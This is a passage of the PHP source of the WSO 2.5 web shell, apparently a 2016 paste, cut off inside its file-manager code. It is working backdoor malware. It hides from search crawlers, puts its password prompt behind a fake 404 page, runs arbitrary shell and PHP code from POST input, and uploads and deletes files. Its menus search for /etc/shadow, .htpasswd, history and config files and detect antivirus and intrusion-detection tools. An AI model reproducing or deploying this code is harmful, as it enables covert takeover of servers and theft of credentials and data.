· 10 years ago · Feb 05, 2016, 01:00 PM
1<?php
2
3$auth_pass = "6244da94938ddf690522f800d66587b7";
4$color = "#df5";
5$default_action = 'FilesMan';
6$default_use_ajax = true;
7$default_charset = 'Windows-1251';
8if (!empty($_SERVER['HTTP_USER_AGENT'])) {
9 $userAgents = array(
10 "Google",
11 "Slurp",
12 "MSNBot",
13 "ia_archiver",
14 "Yandex",
15 "Rambler"
16 );
17 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
18 header('HTTP/1.0 404 Not Found');
19 exit;
20 }
21}
22@ini_set('error_log', NULL);
23@ini_set('log_errors', 0);
24@ini_set('max_execution_time', 0);
25@set_time_limit(0);
26@set_magic_quotes_runtime(0);
27@define('WSO_VERSION', '2.5');
28if (get_magic_quotes_gpc()) {
29 function WSOstripslashes($array)
30 {
31 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
32 }
33 $_POST = WSOstripslashes($_POST);
34 $_COOKIE = WSOstripslashes($_COOKIE);
35}
36function wsoLogin()
37{
38 die("<h1>Not Found</h1>
39<p>The requested URL was not found on this server.</p>
40<hr>
41<address>Apache Server at Port 80</address>
42<br>
43<br>
44<br>
45<br>
46<br>
47<br>
48<br>
49<br>
50<br>
51<br>
52<br>
53<br>
54 <style>
55
56 input { margin:0;background-color:#fff;border:1px solid #fff; }
57 </style>
58 <center>
59 <form method=post>
60 <input type=password name=pass>
61 </form></center> ");
62}
63function WSOsetcookie($k, $v)
64{
65 $_COOKIE[$k] = $v;
66 setcookie($k, $v);
67}
68if (!empty($auth_pass)) {
69 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
70 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
71 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
72 wsoLogin();
73}
74if (strtolower(substr(PHP_OS, 0, 3)) == "win")
75 $os = 'win';
76else
77 $os = 'nix';
78$safe_mode = @ini_get('safe_mode');
79if (!$safe_mode)
80 error_reporting(0);
81$disable_functions = @ini_get('disable_functions');
82$home_cwd = @getcwd();
83if (isset($_POST['c']))
84 @chdir($_POST['c']);
85$cwd = @getcwd();
86if ($os == 'win') {
87 $home_cwd = str_replace("\\", "/", $home_cwd);
88 $cwd = str_replace("\\", "/", $cwd);
89}
90if ($cwd[strlen($cwd) - 1] != '/')
91 $cwd .= '/';
92if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
93 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $default_use_ajax;
94if ($os == 'win')
95 $aliases = array(
96 "List Directory" => "dir",
97 "Find index.php in current dir" => "dir /s /w /b index.php",
98 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
99 "Show active connections" => "netstat -an",
100 "Show running services" => "net start",
101 "User accounts" => "net user",
102 "Show computers" => "net view",
103 "ARP Table" => "arp -a",
104 "IP Configuration" => "ipconfig /all"
105 );
106else
107 $aliases = array(
108 "List dir" => "ls -lha",
109 "list file attributes on a Linux second extended file system" => "lsattr -va",
110 "show opened ports" => "netstat -an | grep -i listen",
111 "process status" => "ps aux",
112 "Find" => "",
113 "find all suid files" => "find / -type f -perm -04000 -ls",
114 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
115 "find all sgid files" => "find / -type f -perm -02000 -ls",
116 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
117 "find config.inc.php files" => "find / -type f -name config.inc.php",
118 "find config* files" => "find / -type f -name \"config*\"",
119 "find config* files in current dir" => "find . -type f -name \"config*\"",
120 "find all writable folders and files" => "find / -perm -2 -ls",
121 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
122 "find all service.pwd files" => "find / -type f -name service.pwd",
123 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
124 "find all .htpasswd files" => "find / -type f -name .htpasswd",
125 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
126 "find all .bash_history files" => "find / -type f -name .bash_history",
127 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
128 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
129 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
130 "Locate" => "",
131 "locate httpd.conf files" => "locate httpd.conf",
132 "locate vhosts.conf files" => "locate vhosts.conf",
133 "locate proftpd.conf files" => "locate proftpd.conf",
134 "locate psybnc.conf files" => "locate psybnc.conf",
135 "locate my.conf files" => "locate my.conf",
136 "locate admin.php files" => "locate admin.php",
137 "locate cfg.php files" => "locate cfg.php",
138 "locate conf.php files" => "locate conf.php",
139 "locate config.dat files" => "locate config.dat",
140 "locate config.php files" => "locate config.php",
141 "locate config.inc files" => "locate config.inc",
142 "locate config.inc.php" => "locate config.inc.php",
143 "locate config.default.php files" => "locate config.default.php",
144 "locate config* files " => "locate config",
145 "locate .conf files" => "locate '.conf'",
146 "locate .pwd files" => "locate '.pwd'",
147 "locate .sql files" => "locate '.sql'",
148 "locate .htpasswd files" => "locate '.htpasswd'",
149 "locate .bash_history files" => "locate '.bash_history'",
150 "locate .mysql_history files" => "locate '.mysql_history'",
151 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
152 "locate backup files" => "locate backup",
153 "locate dump files" => "locate dump",
154 "locate priv files" => "locate priv"
155 );
156function wsoHeader()
157{
158 if (empty($_POST['charset']))
159 $_POST['charset'] = $GLOBALS['default_charset'];
160 global $color;
161 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
162<style>
163body{background-color:#444;color:#e1e1e1;}
164body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
165table.info{ color:#fff;background-color:#222; }
166span,h1,a{ color: $color !important; }
167span{ font-weight: bolder; }
168h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
169div.content{ padding: 5px;margin-left:5px;background-color:#333; }
170a{ text-decoration:none; }
171a:hover{ text-decoration:underline; }
172.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
173.bigarea{ width:100%;height:300px; }
174input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
175form{ margin:0px; }
176#toolsTbl{ text-align:center; }
177.toolsInp{ width: 300px }
178.main th{text-align:left;background-color:#5e5e5e;}
179.main tr:hover{background-color:#5e5e5e}
180.l1{background-color:#444}
181.l2{background-color:#333}
182pre{font-family:Courier,Monospace;}
183</style>
184<script>
185 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
186 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
187 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
188 var p1_ = '" . ((strpos(@$_POST['p1'], "\n") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
189 var p2_ = '" . ((strpos(@$_POST['p2'], "\n") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
190 var p3_ = '" . ((strpos(@$_POST['p3'], "\n") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
191 var d = document;
192 function set(a,c,p1,p2,p3,charset) {
193 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
194 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
195 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
196 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
197 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
198 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
199 }
200 function g(a,c,p1,p2,p3,charset) {
201 set(a,c,p1,p2,p3,charset);
202 d.mf.submit();
203 }
204 function a(a,c,p1,p2,p3,charset) {
205 set(a,c,p1,p2,p3,charset);
206 var params = 'ajax=true';
207 for(i=0;i<d.mf.elements.length;i++)
208 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
209 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
210 }
211 function sr(url, params) {
212 if (window.XMLHttpRequest)
213 req = new XMLHttpRequest();
214 else if (window.ActiveXObject)
215 req = new ActiveXObject('Microsoft.XMLHTTP');
216 if (req) {
217 req.onreadystatechange = processReqChange;
218 req.open('POST', url, true);
219 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
220 req.send(params);
221 }
222 }
223 function processReqChange() {
224 if( (req.readyState == 4) )
225 if(req.status == 200) {
226 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
227 var arr=reg.exec(req.responseText);
228 eval(arr[2].substr(0, arr[1]));
229 } else alert('Request error!');
230 }
231</script>
232<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
233<form method=post name=mf style='display:none;'>
234<input type=hidden name=a>
235<input type=hidden name=c>
236<input type=hidden name=p1>
237<input type=hidden name=p2>
238<input type=hidden name=p3>
239<input type=hidden name=charset>
240</form>";
241 $freeSpace = @diskfreespace($GLOBALS['cwd']);
242 $totalSpace = @disk_total_space($GLOBALS['cwd']);
243 $totalSpace = $totalSpace ? $totalSpace : 1;
244 $release = @php_uname('r');
245 $kernel = @php_uname('s');
246 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
247 if (strpos('Linux', $kernel) !== false)
248 $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
249 else
250 $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
251 if (!function_exists('posix_getegid')) {
252 $user = @get_current_user();
253 $uid = @getmyuid();
254 $gid = @getmygid();
255 $group = "?";
256 } else {
257 $uid = @posix_getpwuid(posix_geteuid());
258 $gid = @posix_getgrgid(posix_getegid());
259 $user = $uid['name'];
260 $uid = $uid['uid'];
261 $group = $gid['name'];
262 $gid = $gid['gid'];
263 }
264 $cwd_links = '';
265 $path = explode("/", $GLOBALS['cwd']);
266 $n = count($path);
267 for ($i = 0; $i < $n - 1; $i++) {
268 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
269 for ($j = 0; $j <= $i; $j++)
270 $cwd_links .= $path[$j] . '/';
271 $cwd_links .= "\")'>" . $path[$i] . "/</a>";
272 }
273 $charsets = array(
274 'UTF-8',
275 'Windows-1251',
276 'KOI8-R',
277 'KOI8-U',
278 'cp866'
279 );
280 $opt_charsets = '';
281 foreach ($charsets as $item)
282 $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
283 $m = array(
284 'Sec. Info' => 'SecInfo',
285 'Files' => 'FilesMan',
286 'Console' => 'Console',
287 'Sql' => 'Sql',
288 'Php' => 'Php',
289 'String tools' => 'StringTools',
290 'Bruteforce' => 'Bruteforce',
291 'Network' => 'Network'
292 );
293 if (!empty($GLOBALS['auth_pass']))
294 $m['Logout'] = 'Logout';
295 $m['Self remove'] = 'SelfRemove';
296 $menu = '';
297 foreach ($m as $k => $v)
298 $menu .= '<th width="' . (int) (100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
299 $drives = "";
300 if ($GLOBALS['os'] == 'win') {
301 foreach (range('c', 'z') as $drive)
302 if (is_dir($drive . ':\\'))
303 $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
304 }
305 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
306}
307function wsoFooter()
308{
309 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
310 echo "
311</div>
312<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
313 <tr>
314 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
315 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
316 </tr><tr>
317 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
318 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
319 </tr><tr>
320 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
321 <td><form method='post' ENCTYPE='multipart/form-data'>
322 <input type=hidden name=a value='FilesMAn'>
323 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
324 <input type=hidden name=p1 value='uploadFile'>
325 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
326 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
327 </tr></table></div></body></html>";
328}
329if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
330 function posix_getpwuid($p)
331 {
332 return false;
333 }
334}
335if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
336 function posix_getgrgid($p)
337 {
338 return false;
339 }
340}
341function wsoEx($in)
342{
343 $out = '';
344 if (function_exists('exec')) {
345 @exec($in, $out);
346 $out = @join("\n", $out);
347 } elseif (function_exists('passthru')) {
348 ob_start();
349 @passthru($in);
350 $out = ob_get_clean();
351 } elseif (function_exists('system')) {
352 ob_start();
353 @system($in);
354 $out = ob_get_clean();
355 } elseif (function_exists('shell_exec')) {
356 $out = shell_exec($in);
357 } elseif (is_resource($f = @popen($in, "r"))) {
358 $out = "";
359 while (!@feof($f))
360 $out .= fread($f, 1024);
361 pclose($f);
362 }
363 return $out;
364}
365function wsoViewSize($s)
366{
367 if (is_int($s))
368 $s = sprintf("%u", $s);
369 if ($s >= 1073741824)
370 return sprintf('%1.2f', $s / 1073741824) . ' GB';
371 elseif ($s >= 1048576)
372 return sprintf('%1.2f', $s / 1048576) . ' MB';
373 elseif ($s >= 1024)
374 return sprintf('%1.2f', $s / 1024) . ' KB';
375 else
376 return $s . ' B';
377}
378function wsoPerms($p)
379{
380 if (($p & 0xC000) == 0xC000)
381 $i = 's';
382 elseif (($p & 0xA000) == 0xA000)
383 $i = 'l';
384 elseif (($p & 0x8000) == 0x8000)
385 $i = '-';
386 elseif (($p & 0x6000) == 0x6000)
387 $i = 'b';
388 elseif (($p & 0x4000) == 0x4000)
389 $i = 'd';
390 elseif (($p & 0x2000) == 0x2000)
391 $i = 'c';
392 elseif (($p & 0x1000) == 0x1000)
393 $i = 'p';
394 else
395 $i = 'u';
396 $i .= (($p & 0x0100) ? 'r' : '-');
397 $i .= (($p & 0x0080) ? 'w' : '-');
398 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
399 $i .= (($p & 0x0020) ? 'r' : '-');
400 $i .= (($p & 0x0010) ? 'w' : '-');
401 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
402 $i .= (($p & 0x0004) ? 'r' : '-');
403 $i .= (($p & 0x0002) ? 'w' : '-');
404 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
405 return $i;
406}
407function wsoPermsColor($f)
408{
409 if (!@is_readable($f))
410 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
411 elseif (!@is_writable($f))
412 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
413 else
414 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
415}
416function wsoScandir($dir)
417{
418 if (function_exists("scandir")) {
419 return scandir($dir);
420 } else {
421 $dh = opendir($dir);
422 while (false !== ($filename = readdir($dh)))
423 $files[] = $filename;
424 return $files;
425 }
426}
427function wsoWhich($p)
428{
429 $path = wsoEx('which ' . $p);
430 if (!empty($path))
431 return $path;
432 return false;
433}
434function actionSecInfo()
435{
436 wsoHeader();
437 echo '<h1>Server security information</h1><div class=content>';
438 function wsoSecParam($n, $v)
439 {
440 $v = trim($v);
441 if ($v) {
442 echo '<span>' . $n . ': </span>';
443 if (strpos($v, "\n") === false)
444 echo $v . '<br>';
445 else
446 echo '<pre class=ml1>' . $v . '</pre>';
447 }
448 }
449 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
450 if (function_exists('apache_get_modules'))
451 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
452 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
453 wsoSecParam('Open base dir', @ini_get('open_basedir'));
454 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
455 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
456 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
457 $temp = array();
458 if (function_exists('mysql_get_client_info'))
459 $temp[] = "MySql (" . mysql_get_client_info() . ")";
460 if (function_exists('mssql_connect'))
461 $temp[] = "MSSQL";
462 if (function_exists('pg_connect'))
463 $temp[] = "PostgreSQL";
464 if (function_exists('oci_connect'))
465 $temp[] = "Oracle";
466 wsoSecParam('Supported databases', implode(', ', $temp));
467 echo '<br>';
468 if ($GLOBALS['os'] == 'nix') {
469 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
470 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
471 wsoSecParam('OS version', @file_get_contents('/proc/version'));
472 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
473 if (!$GLOBALS['safe_mode']) {
474 $userful = array(
475 'gcc',
476 'lcc',
477 'cc',
478 'ld',
479 'make',
480 'php',
481 'perl',
482 'python',
483 'ruby',
484 'tar',
485 'gzip',
486 'bzip',
487 'bzip2',
488 'nc',
489 'locate',
490 'suidperl'
491 );
492 $danger = array(
493 'kav',
494 'nod32',
495 'bdcored',
496 'uvscan',
497 'sav',
498 'drwebd',
499 'clamd',
500 'rkhunter',
501 'chkrootkit',
502 'iptables',
503 'ipfw',
504 'tripwire',
505 'shieldcc',
506 'portsentry',
507 'snort',
508 'ossec',
509 'lidsadm',
510 'tcplodg',
511 'sxid',
512 'logcheck',
513 'logwatch',
514 'sysmask',
515 'zmbscap',
516 'sawmill',
517 'wormscan',
518 'ninja'
519 );
520 $downloaders = array(
521 'wget',
522 'fetch',
523 'lynx',
524 'links',
525 'curl',
526 'get',
527 'lwp-mirror'
528 );
529 echo '<br>';
530 $temp = array();
531 foreach ($userful as $item)
532 if (wsoWhich($item))
533 $temp[] = $item;
534 wsoSecParam('Userful', implode(', ', $temp));
535 $temp = array();
536 foreach ($danger as $item)
537 if (wsoWhich($item))
538 $temp[] = $item;
539 wsoSecParam('Danger', implode(', ', $temp));
540 $temp = array();
541 foreach ($downloaders as $item)
542 if (wsoWhich($item))
543 $temp[] = $item;
544 wsoSecParam('Downloaders', implode(', ', $temp));
545 echo '<br/>';
546 wsoSecParam('HDD space', wsoEx('df -h'));
547 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
548 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
549 if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
550 $temp = "";
551 for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
552 $uid = @posix_getpwuid($_POST['p2']);
553 if ($uid)
554 $temp .= join(':', $uid) . "\n";
555 }
556 echo '<br/>';
557 wsoSecParam('Users', $temp);
558 }
559 }
560 } else {
561 wsoSecParam('OS Version', wsoEx('ver'));
562 wsoSecParam('Account Settings', wsoEx('net accounts'));
563 wsoSecParam('User Accounts', wsoEx('net user'));
564 }
565 echo '</div>';
566 wsoFooter();
567}
568function actionPhp()
569{
570 if (isset($_POST['ajax'])) {
571 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
572 ob_start();
573 eval($_POST['p1']);
574 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
575 echo strlen($temp), "\n", $temp;
576 exit;
577 }
578 if (empty($_POST['ajax']) && !empty($_POST['p1']))
579 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
580 wsoHeader();
581 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
582 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
583 ob_start();
584 phpinfo();
585 $tmp = ob_get_clean();
586 $tmp = preg_replace(array(
587 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
588 '!td, th {(.*)}!msiU',
589 '!<img[^>]+>!msiU'
590 ), array(
591 '',
592 '.e, .v, .h, .h th {$1}',
593 ''
594 ), $tmp);
595 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
596 }
597 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
598 echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
599 if (!empty($_POST['p1'])) {
600 ob_start();
601 eval($_POST['p1']);
602 echo htmlspecialchars(ob_get_clean());
603 }
604 echo '</pre></div>';
605 wsoFooter();
606}
607function actionFilesMan()
608{
609 if (!empty($_COOKIE['f']))
610 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
611 if (!empty($_POST['p1'])) {
612 switch ($_POST['p1']) {
613 case 'uploadFile':
614 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
615 echo "Can't upload file!";
616 break;
617 case 'mkdir':
618 if (!@mkdir($_POST['p2']))
619 echo "Can't create new dir";
620 break;
621 case 'delete':
622 function deleteDir($path)
623 {
624 $path = (substr($path, -1) == '/') ? $path : $path . '/';
625 $dh = opendir($path);
626 while (($item = readdir($dh)) !== false) {
627 $item = $path . $item;
628 if ((basename($item) == "..") || (basename($item) == "."))
629 continue;
630 $type = filetype($item);
631 if ($type == "dir")
632 deleteDir($item);
633 else
634 @unlink($item);
635 }
636 closedir($dh);
637 @rmdir($path);
638 }
639 if (is_array(@$_POST['f']))
640 foreach ($_POST['f'] as $f) {
641 if ($f == '..')
642 continue;
643 $f = urldecode($f);
644 if (is_dir($f))
645 deleteDir($f);
646 else
647 @unlink($f);
648 }
649 break;
650 case 'paste':
651 if ($_COOKIE['act'] == 'copy') {
652 function copy_paste($c, $s, $d)
653 {
654 if (is_dir($c . $s)) {
655 mkdir($d . $s);
656 $h = @opendir($c . $s);
657 while (($f = @readdir($h)) !== false)
658 if (($f != ".") and ($f != ".."))
659 copy_paste($c . $s . '/', $f, $d . $s . '/');
660 } elseif (is_file($c . $s))
661 @copy($c . $s, $d . $s);
662 }
663 foreach ($_COOKIE['f'] as $f)
664 copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
665 } elseif ($_COOKIE['act'] == 'move') {
666 function move_paste($c, $s, $d)
667 {
668 if (is_dir($c . $s)) {
669 mkdir($d . $s);
670 $h = @opendir($c . $s);
671 while (($f = @readdir($h)) !== false)
672 if (($f != ".") and ($f != ".."))
673 copy_paste($c . $s . '/', $f, $d . $s . '/');
674 } elseif (@is_file($c . $s))
675 @copy($c . $s, $d . $s);
676 }
677 foreach ($_COOKIE['f'] as $f)
678 @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
679 } elseif ($_COOKIE['act'] == 'zip') {
680 if (class_exists('ZipArchive')) {
681 $zip = new ZipArchive();
682 if ($zip->open($_POST['p2'], 1)) {
683 chdir($_COOKIE['c']);
684 foreach ($_COOKIE['f'] as $f) {
685 if ($f == '..')
686 continue;
687 if (@is_file($_COOKIE['c'] . $f))
688 $zip->addFile($_COOKIE['c'] . $f, $f);
689 elseif (@is_dir($_COOKIE['c'] . $f)) {
690 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
691 foreach ($iterator as $key => $value) {
692 $zip->addFile(realpath($key), $key);
693 }
694 }
695 }
696 chdir($GLOBALS['cwd']);
697 $zip->close();
698 }
699 }
700 } elseif ($_COOKIE['act'] == 'unzip') {
701 if (class_exists('ZipArchive')) {
702 $zip = new ZipArchive();
703 foreach ($_COOKIE['f'] as $f) {
704 if ($zip->open($_COOKIE['c'] . $f)) {
705 $zip->extractTo($GLOBALS['cwd']);
706 $zip->close();
707 }
708 }
709 }
710 } elseif ($_COOKIE['act'] == 'tar') {
711 chdir($_COOKIE['c']);
712 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
713 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
714 chdir($GLOBALS['cwd']);
715 }
716 unset($_COOKIE['f']);
717 setcookie('f', '', time() - 3600);
718 break;
719 default:
720 if (!empty($_POST['p1'])) {
721 WSOsetcookie('act', $_POST['p1']);
722 WSOsetcookie('f', serialize(@$_POST['f']));
723 WSOsetcookie('c', @$_POST['c']);
724 }
725 break;
726 }
727 }
728 wsoHeader();
729 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
730 $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
731 if ($dirContent === false) {
732 echo 'Can\'t open this folder!';
733 wsoFooter();
734 return;
735 }
736 global $sort;
737 $sort = array(
738 'name',
739 1
740 );
741 if (!empty($_POST['p1'])) {
742 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
743 $sort = array(
744 $match[1],
745 (int) $match[2]
746 );
747 }
748 echo "<script>
749 function sa() {
750 for(i=0;i<d.files.elements.length;i++)
751 if(d.files.elements[i].type == 'checkbox')
752 d.files.elements[i].checked = d.files.elements[0].checked;
753 }
754</script>
755<table width='100%' class='main' cellspacing='0' cellpadding='2'>
756<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
757 $dirs = $files = array();
758 $n = count($dirContent);
759 for ($i = 0; $i < $n; $i++) {
